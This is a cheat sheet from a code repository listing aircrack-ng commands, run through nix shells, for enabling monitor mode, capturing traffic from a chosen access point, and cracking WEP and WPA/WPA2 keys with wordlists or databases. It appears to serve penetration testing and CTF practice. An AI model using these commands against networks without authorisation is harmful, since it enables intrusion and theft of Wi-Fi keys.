-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathwireless_hacking.cheat
More file actions
46 lines (33 loc) · 3.64 KB
/
Copy pathwireless_hacking.cheat
File metadata and controls
46 lines (33 loc) · 3.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
% Wifi Cheat Sheet / wireless - aircrack-ng
# michael (truckiewow)
# Jose Moruno Cadima (sniferl4bs)
# from here: https://github.com/thezakman/CTF-Heaven/blob/master/Cheatsheets/aircrack-ng
# added to navi by esp0xdeadbeef
$ Chanel: printf '%s\n' 1 6 11 | tr ' ' '\n'
$ MAC_AP: printf '%s\n' 00:11:22:33:44:55
$ InterfaceMonitor: printf '%s\n' mon0 wlan0mon
$ essid: printf '%s\n' ESSID
$ output_file: printf '%s\n' aircrack_key.txt
$ database: find "$(pwd)" -type f \( -name '*.airolib' -o -name '*.db' \) 2>/dev/null | sort -u
$ wordlist: find "$(pwd)" "$(nix build --impure -I nixpkgs=channel:nixos-unstable --no-link --print-out-paths --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; seclists')/share/wordlists/seclists" "$(nix build --impure -I nixpkgs=channel:nixos-unstable --no-link --print-out-paths --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; wordlists')/share/wordlists" -type f 2>/dev/null | sort -u
$ bssid: printf '%s\n' 00:11:22:33:44:55
$ EWSA_file: printf '%s\n' capture.ewsa
# Start Monitor Mode and Save captures
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ iw ]' -c iw dev wlan0 add interface mon0 type monitor
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c airmon-ng start wlan0 <Chanel>
# packet capture
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c airodump-ng -c <Chanel> --bssid <MAC_AP> -w aircrack_ng.cap <InterfaceMonitor>
# To crack WEP for a given essid name and store into a file
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -a 1 -e <essid> -l <output_file> aircrack_ng.cap
# To crack WPA/WPA2 from airolib-ng database
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -e <essid> -r <database> aircrack_ng.cap
# To crack WPA/WPA2 from a wordlist
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -e <essid> -w <wordlist> aircrack_ng.cap
# To crack a given bssid
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -b <bssid> -l <output_file> aircrack_ng.cap
# To crack a given bssid using FMS/Korek method
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -K -b <bssid> aircrack_ng.cap
# To crack a given essid (WEP) and display the ASCII of the key
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -e <essid> -s aircrack_ng.cap
# To crack a given essid (WEP) and create a EWSA Project
nix shell --impure -I nixpkgs=channel:nixos-unstable --expr 'with import (builtins.findFile builtins.nixPath "nixpkgs") { config.allowUnfree = true; }; [ aircrack-ng ]' -c aircrack-ng -e <essid> -E <EWSA_file> aircrack_ng.cap